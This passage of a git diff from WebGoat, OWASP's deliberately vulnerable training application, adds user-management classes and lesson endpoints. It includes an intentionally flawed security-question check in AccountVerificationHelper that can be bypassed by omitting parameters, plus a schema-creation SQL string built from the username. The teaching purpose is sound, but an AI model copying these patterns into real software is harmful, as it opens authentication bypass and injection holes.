@Size(min = 6, max = 10) + private String matchingPassword; + + @NotNull private String agree; +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserRepository.java b/src/main/java/org/owasp/webgoat/container/users/UserRepository.java similarity index 56% rename from webgoat-container/src/main/java/org/owasp/webgoat/users/UserRepository.java rename to src/main/java/org/owasp/webgoat/container/users/UserRepository.java index 920109876..86d9b2cd4 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserRepository.java +++ b/src/main/java/org/owasp/webgoat/container/users/UserRepository.java @@ -1,8 +1,7 @@ -package org.owasp.webgoat.users; - -import org.springframework.data.jpa.repository.JpaRepository; +package org.owasp.webgoat.container.users; import java.util.List; +import org.springframework.data.jpa.repository.JpaRepository; /** * @author nbaars @@ -10,8 +9,9 @@ import java.util.List; */ public interface UserRepository extends JpaRepository { - WebGoatUser findByUsername(String username); + WebGoatUser findByUsername(String username); - List findAll(); + List findAll(); + boolean existsByUsername(String username); } diff --git a/src/main/java/org/owasp/webgoat/container/users/UserService.java b/src/main/java/org/owasp/webgoat/container/users/UserService.java new file mode 100644 index 000000000..e12668f00 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/UserService.java @@ -0,0 +1,59 @@ +package org.owasp.webgoat.container.users; + +import java.util.List; +import java.util.function.Function; +import lombok.AllArgsConstructor; +import org.flywaydb.core.Flyway; +import org.owasp.webgoat.container.lessons.Initializeable; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.core.userdetails.UsernameNotFoundException; +import org.springframework.stereotype.Service; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Service +@AllArgsConstructor +public class UserService implements UserDetailsService { + + private final UserRepository userRepository; + private final UserTrackerRepository userTrackerRepository; + private final JdbcTemplate jdbcTemplate; + private final Function flywayLessons; + private final List lessonInitializables; + + @Override + public WebGoatUser loadUserByUsername(String username) throws UsernameNotFoundException { + WebGoatUser webGoatUser = userRepository.findByUsername(username); + if (webGoatUser == null) { + throw new UsernameNotFoundException("User not found"); + } else { + webGoatUser.createUser(); + lessonInitializables.forEach(l -> l.initialize(webGoatUser)); + } + return webGoatUser; + } + + public void addUser(String username, String password) { + // get user if there exists one by the name + var userAlreadyExists = userRepository.existsByUsername(username); + var webGoatUser = userRepository.save(new WebGoatUser(username, password)); + + if (!userAlreadyExists) { + userTrackerRepository.save( + new UserTracker(username)); // if user previously existed it will not get another tracker + createLessonsForUser(webGoatUser); + } + } + + private void createLessonsForUser(WebGoatUser webGoatUser) { + jdbcTemplate.execute("CREATE SCHEMA \"" + webGoatUser.getUsername() + "\" authorization dba"); + flywayLessons.apply(webGoatUser.getUsername()).migrate(); + } + + public List getAllUsers() { + return userRepository.findAll(); + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserSession.java b/src/main/java/org/owasp/webgoat/container/users/UserSession.java similarity index 74% rename from webgoat-container/src/main/java/org/owasp/webgoat/users/UserSession.java rename to src/main/java/org/owasp/webgoat/container/users/UserSession.java index 5e00333b4..5bf29a7f0 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserSession.java +++ b/src/main/java/org/owasp/webgoat/container/users/UserSession.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.users; +package org.owasp.webgoat.container.users; import lombok.AccessLevel; import lombok.AllArgsConstructor; @@ -15,7 +15,6 @@ import org.springframework.data.annotation.Id; @NoArgsConstructor(access = AccessLevel.PROTECTED) public class UserSession { - private WebGoatUser webGoatUser; - @Id - private String sessionId; + private WebGoatUser webGoatUser; + @Id private String sessionId; } diff --git a/src/main/java/org/owasp/webgoat/container/users/UserTracker.java b/src/main/java/org/owasp/webgoat/container/users/UserTracker.java new file mode 100644 index 000000000..86bdf4c14 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/UserTracker.java @@ -0,0 +1,127 @@ +package org.owasp.webgoat.container.users; + +import java.util.HashSet; +import java.util.Map; +import java.util.Optional; +import java.util.Set; +import java.util.stream.Collectors; +import javax.persistence.*; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.lessons.Assignment; +import org.owasp.webgoat.container.lessons.Lesson; + +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Bruce Mayhew WebGoat + * @version $Id: $Id + * @since October 29, 2003 + */ +@Slf4j +@Entity +public class UserTracker { + + @Id + @GeneratedValue(strategy = GenerationType.AUTO) + private Long id; + + @Column(name = "username") + private String user; + + @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) + private Set lessonTrackers = new HashSet<>(); + + private UserTracker() {} + + public UserTracker(final String user) { + this.user = user; + } + + /** + * Returns an existing lesson tracker or create a new one based on the lesson + * + * @param lesson the lesson + * @return a lesson tracker created if not already present + */ + public LessonTracker getLessonTracker(Lesson lesson) { + Optional lessonTracker = + lessonTrackers.stream().filter(l -> l.getLessonName().equals(lesson.getId())).findFirst(); + if (!lessonTracker.isPresent()) { + LessonTracker newLessonTracker = new LessonTracker(lesson); + lessonTrackers.add(newLessonTracker); + return newLessonTracker; + } else { + return lessonTracker.get(); + } + } + + /** + * Query method for finding a specific lesson tracker based on id + * + * @param id the id of the lesson + * @return optional due to the fact we can only create a lesson tracker based on a lesson + */ + public Optional getLessonTracker(String id) { + return lessonTrackers.stream().filter(l -> l.getLessonName().equals(id)).findFirst(); + } + + public void assignmentSolved(Lesson lesson, String assignmentName) { + LessonTracker lessonTracker = getLessonTracker(lesson); + lessonTracker.incrementAttempts(); + lessonTracker.assignmentSolved(assignmentName); + } + + public void assignmentFailed(Lesson lesson) { + LessonTracker lessonTracker = getLessonTracker(lesson); + lessonTracker.incrementAttempts(); + } + + public void reset(Lesson al) { + LessonTracker lessonTracker = getLessonTracker(al); + lessonTracker.reset(); + } + + public int numberOfLessonsSolved() { + int numberOfLessonsSolved = 0; + for (LessonTracker lessonTracker : lessonTrackers) { + if (lessonTracker.isLessonSolved()) { + numberOfLessonsSolved = numberOfLessonsSolved + 1; + } + } + return numberOfLessonsSolved; + } + + public int numberOfAssignmentsSolved() { + int numberOfAssignmentsSolved = 0; + for (LessonTracker lessonTracker : lessonTrackers) { + Map lessonOverview = lessonTracker.getLessonOverview(); + numberOfAssignmentsSolved = + lessonOverview.values().stream().filter(b -> b).collect(Collectors.counting()).intValue(); + } + return numberOfAssignmentsSolved; + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTrackerRepository.java b/src/main/java/org/owasp/webgoat/container/users/UserTrackerRepository.java similarity index 70% rename from webgoat-container/src/main/java/org/owasp/webgoat/users/UserTrackerRepository.java rename to src/main/java/org/owasp/webgoat/container/users/UserTrackerRepository.java index efa231d59..154360c3e 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTrackerRepository.java +++ b/src/main/java/org/owasp/webgoat/container/users/UserTrackerRepository.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.users; +package org.owasp.webgoat.container.users; import org.springframework.data.jpa.repository.JpaRepository; @@ -8,6 +8,5 @@ import org.springframework.data.jpa.repository.JpaRepository; */ public interface UserTrackerRepository extends JpaRepository { - UserTracker findByUser(String user); - + UserTracker findByUser(String user); } diff --git a/src/main/java/org/owasp/webgoat/container/users/UserValidator.java b/src/main/java/org/owasp/webgoat/container/users/UserValidator.java new file mode 100644 index 000000000..6301e08b3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/UserValidator.java @@ -0,0 +1,35 @@ +package org.owasp.webgoat.container.users; + +import lombok.AllArgsConstructor; +import org.springframework.stereotype.Component; +import org.springframework.validation.Errors; +import org.springframework.validation.Validator; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Component +@AllArgsConstructor +public class UserValidator implements Validator { + + private final UserRepository userRepository; + + @Override + public boolean supports(Class clazz) { + return UserForm.class.equals(clazz); + } + + @Override + public void validate(Object o, Errors errors) { + UserForm userForm = (UserForm) o; + + if (userRepository.findByUsername(userForm.getUsername()) != null) { + errors.rejectValue("username", "username.duplicate"); + } + + if (!userForm.getMatchingPassword().equals(userForm.getPassword())) { + errors.rejectValue("matchingPassword", "password.diff"); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/WebGoatUser.java b/src/main/java/org/owasp/webgoat/container/users/WebGoatUser.java new file mode 100644 index 000000000..517e50a60 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/WebGoatUser.java @@ -0,0 +1,90 @@ +package org.owasp.webgoat.container.users; + +import java.util.Collection; +import java.util.Collections; +import javax.persistence.Entity; +import javax.persistence.Id; +import javax.persistence.Transient; +import lombok.Getter; +import org.springframework.security.core.GrantedAuthority; +import org.springframework.security.core.authority.SimpleGrantedAuthority; +import org.springframework.security.core.userdetails.User; +import org.springframework.security.core.userdetails.UserDetails; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Getter +@Entity +public class WebGoatUser implements UserDetails { + + public static final String ROLE_USER = "WEBGOAT_USER"; + public static final String ROLE_ADMIN = "WEBGOAT_ADMIN"; + + @Id private String username; + private String password; + private String role = ROLE_USER; + @Transient private User user; + + protected WebGoatUser() {} + + public WebGoatUser(String username, String password) { + this(username, password, ROLE_USER); + } + + public WebGoatUser(String username, String password, String role) { + this.username = username; + this.password = password; + this.role = role; + createUser(); + } + + public void createUser() { + this.user = new User(username, password, getAuthorities()); + } + + public Collection getAuthorities() { + return Collections.singleton(new SimpleGrantedAuthority(getRole())); + } + + public String getRole() { + return this.role; + } + + public String getUsername() { + return this.username; + } + + public String getPassword() { + return this.password; + } + + @Override + public boolean isAccountNonExpired() { + return this.user.isAccountNonExpired(); + } + + @Override + public boolean isAccountNonLocked() { + return this.user.isAccountNonLocked(); + } + + @Override + public boolean isCredentialsNonExpired() { + return this.user.isCredentialsNonExpired(); + } + + @Override + public boolean isEnabled() { + return this.user.isEnabled(); + } + + public boolean equals(Object obj) { + return obj instanceof WebGoatUser webGoatUser && this.user.equals(webGoatUser.user); + } + + public int hashCode() { + return user.hashCode(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/authbypass/AccountVerificationHelper.java b/src/main/java/org/owasp/webgoat/lessons/authbypass/AccountVerificationHelper.java new file mode 100644 index 000000000..41b64d518 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/authbypass/AccountVerificationHelper.java @@ -0,0 +1,96 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.authbypass; + +import java.util.HashMap; +import java.util.Map; + +/** Created by appsec on 7/18/17. */ +public class AccountVerificationHelper { + + // simulating database storage of verification credentials + private static final Integer verifyUserId = 1223445; + private static final Map userSecQuestions = new HashMap<>(); + + static { + userSecQuestions.put("secQuestion0", "Dr. Watson"); + userSecQuestions.put("secQuestion1", "Baker Street"); + } + + private static final Map secQuestionStore = new HashMap<>(); + + static { + secQuestionStore.put(verifyUserId, userSecQuestions); + } + // end 'data store set up' + + // this is to aid feedback in the attack process and is not intended to be part of the + // 'vulnerable' code + public boolean didUserLikelylCheat(HashMap submittedAnswers) { + boolean likely = false; + + if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) { + likely = true; + } + + if ((submittedAnswers.containsKey("secQuestion0") + && submittedAnswers + .get("secQuestion0") + .equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) + && (submittedAnswers.containsKey("secQuestion1") + && submittedAnswers + .get("secQuestion1") + .equals(secQuestionStore.get(verifyUserId).get("secQuestion1")))) { + likely = true; + } else { + likely = false; + } + + return likely; + } + // end of cheating check ... the method below is the one of real interest. Can you find the flaw? + + public boolean verifyAccount(Integer userId, HashMap submittedQuestions) { + // short circuit if no questions are submitted + if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) { + return false; + } + + if (submittedQuestions.containsKey("secQuestion0") + && !submittedQuestions + .get("secQuestion0") + .equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) { + return false; + } + + if (submittedQuestions.containsKey("secQuestion1") + && !submittedQuestions + .get("secQuestion1") + .equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) { + return false; + } + + // else + return true; + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/Endpoint.java b/src/main/java/org/owasp/webgoat/lessons/authbypass/AuthBypass.java similarity index 58% rename from webgoat-container/src/main/java/org/owasp/webgoat/assignments/Endpoint.java rename to src/main/java/org/owasp/webgoat/lessons/authbypass/AuthBypass.java index 746ac412d..8680b47d7 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/Endpoint.java +++ b/src/main/java/org/owasp/webgoat/lessons/authbypass/AuthBypass.java @@ -1,41 +1,41 @@ /* - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - *

- * Copyright (c) 2002 - 2017 Bruce Mayhew - *

+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. - *

+ * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. - *

+ * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. - *

+ * * Getting Source ============== - *

- * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - *

+ * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.assignments; +package org.owasp.webgoat.lessons.authbypass; -import org.springframework.boot.actuate.endpoint.mvc.MvcEndpoint; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; -public abstract class Endpoint implements MvcEndpoint { +@Component +public class AuthBypass extends Lesson { - @Override - public final boolean isSensitive() { - return false; - } + @Override + public Category getDefaultCategory() { + return Category.A7; + } - @Override - public final Class getEndpointType() { - return null; - } + @Override + public String getTitle() { + return "auth-bypass.title"; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/authbypass/VerifyAccount.java b/src/main/java/org/owasp/webgoat/lessons/authbypass/VerifyAccount.java new file mode 100644 index 000000000..ed7988b13 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/authbypass/VerifyAccount.java @@ -0,0 +1,93 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.authbypass; + +import java.io.IOException; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** Created by jason on 1/5/17. */ +@RestController +@AssignmentHints({ + "auth-bypass.hints.verify.1", + "auth-bypass.hints.verify.2", + "auth-bypass.hints.verify.3", + "auth-bypass.hints.verify.4" +}) +public class VerifyAccount extends AssignmentEndpoint { + + @Autowired private WebSession webSession; + + @Autowired UserSessionData userSessionData; + + @PostMapping( + path = "/auth-bypass/verify-account", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed( + @RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) + throws ServletException, IOException { + AccountVerificationHelper verificationHelper = new AccountVerificationHelper(); + Map submittedAnswers = parseSecQuestions(req); + if (verificationHelper.didUserLikelylCheat((HashMap) submittedAnswers)) { + return failed(this) + .feedback("verify-account.cheated") + .output("Yes, you guessed correctly, but see the feedback message") + .build(); + } + + // else + if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap) submittedAnswers)) { + userSessionData.setValue("account-verified-id", userId); + return success(this).feedback("verify-account.success").build(); + } else { + return failed(this).feedback("verify-account.failed").build(); + } + } + + private HashMap parseSecQuestions(HttpServletRequest req) { + Map userAnswers = new HashMap<>(); + List paramNames = Collections.list(req.getParameterNames()); + for (String paramName : paramNames) { + // String paramName = req.getParameterNames().nextElement(); + if (paramName.contains("secQuestion")) { + userAnswers.put(paramName, req.getParameter(paramName)); + } + } + return (HashMap) userAnswers; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictions.java b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictions.java new file mode 100644 index 000000000..7aaa06c5c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictions.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.bypassrestrictions; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class BypassRestrictions extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.CLIENT_SIDE; + } + + @Override + public String getTitle() { + return "bypass-restrictions.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFieldRestrictions.java b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFieldRestrictions.java new file mode 100644 index 000000000..2ea8db965 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFieldRestrictions.java @@ -0,0 +1,60 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.bypassrestrictions; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class BypassRestrictionsFieldRestrictions extends AssignmentEndpoint { + + @PostMapping("/BypassRestrictions/FieldRestrictions") + @ResponseBody + public AttackResult completed( + @RequestParam String select, + @RequestParam String radio, + @RequestParam String checkbox, + @RequestParam String shortInput, + @RequestParam String readOnlyInput) { + if (select.equals("option1") || select.equals("option2")) { + return failed(this).build(); + } + if (radio.equals("option1") || radio.equals("option2")) { + return failed(this).build(); + } + if (checkbox.equals("on") || checkbox.equals("off")) { + return failed(this).build(); + } + if (shortInput.length() <= 5) { + return failed(this).build(); + } + if ("change".equals(readOnlyInput)) { + return failed(this).build(); + } + return success(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFrontendValidation.java b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFrontendValidation.java new file mode 100644 index 000000000..9d2c048eb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFrontendValidation.java @@ -0,0 +1,79 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.bypassrestrictions; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class BypassRestrictionsFrontendValidation extends AssignmentEndpoint { + + @PostMapping("/BypassRestrictions/frontendValidation") + @ResponseBody + public AttackResult completed( + @RequestParam String field1, + @RequestParam String field2, + @RequestParam String field3, + @RequestParam String field4, + @RequestParam String field5, + @RequestParam String field6, + @RequestParam String field7, + @RequestParam Integer error) { + final String regex1 = "^[a-z]{3}$"; + final String regex2 = "^[0-9]{3}$"; + final String regex3 = "^[a-zA-Z0-9 ]*$"; + final String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$"; + final String regex5 = "^\\d{5}$"; + final String regex6 = "^\\d{5}(-\\d{4})?$"; + final String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$"; + if (error > 0) { + return failed(this).build(); + } + if (field1.matches(regex1)) { + return failed(this).build(); + } + if (field2.matches(regex2)) { + return failed(this).build(); + } + if (field3.matches(regex3)) { + return failed(this).build(); + } + if (field4.matches(regex4)) { + return failed(this).build(); + } + if (field5.matches(regex5)) { + return failed(this).build(); + } + if (field6.matches(regex6)) { + return failed(this).build(); + } + if (field7.matches(regex7)) { + return failed(this).build(); + } + return success(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/ChallengeIntro.java b/src/main/java/org/owasp/webgoat/lessons/challenges/ChallengeIntro.java new file mode 100644 index 000000000..1c6ba4c37 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/ChallengeIntro.java @@ -0,0 +1,21 @@ +package org.owasp.webgoat.lessons.challenges; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; + +/** + * @author nbaars + * @since 3/21/17. + */ +public class ChallengeIntro extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public String getTitle() { + return "challenge0.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/Email.java b/src/main/java/org/owasp/webgoat/lessons/challenges/Email.java new file mode 100644 index 000000000..81e105a9a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/Email.java @@ -0,0 +1,43 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.challenges; + +import java.io.Serializable; +import java.time.LocalDateTime; +import lombok.Builder; +import lombok.Data; + +/** + * @author nbaars + * @since 8/20/17. + */ +@Builder +@Data +public class Email implements Serializable { + + private LocalDateTime time; + private String contents; + private String sender; + private String title; + private String recipient; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/Flag.java b/src/main/java/org/owasp/webgoat/lessons/challenges/Flag.java new file mode 100644 index 000000000..d78186585 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/Flag.java @@ -0,0 +1,89 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.challenges; + +import java.util.HashMap; +import java.util.Map; +import java.util.UUID; +import java.util.stream.IntStream; +import javax.annotation.PostConstruct; +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 3/23/17. + */ +@RestController +public class Flag extends AssignmentEndpoint { + + public static final Map FLAGS = new HashMap<>(); + @Autowired private UserTrackerRepository userTrackerRepository; + @Autowired private WebSession webSession; + + @AllArgsConstructor + private class FlagPosted { + @Getter private boolean lessonCompleted; + } + + @PostConstruct + public void initFlags() { + IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString())); + } + + @RequestMapping( + path = "/challenge/flag", + method = RequestMethod.POST, + produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult postFlag(@RequestParam String flag) { + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + String currentChallenge = webSession.getCurrentLesson().getName(); + int challengeNumber = + Integer.valueOf( + currentChallenge.substring(currentChallenge.length() - 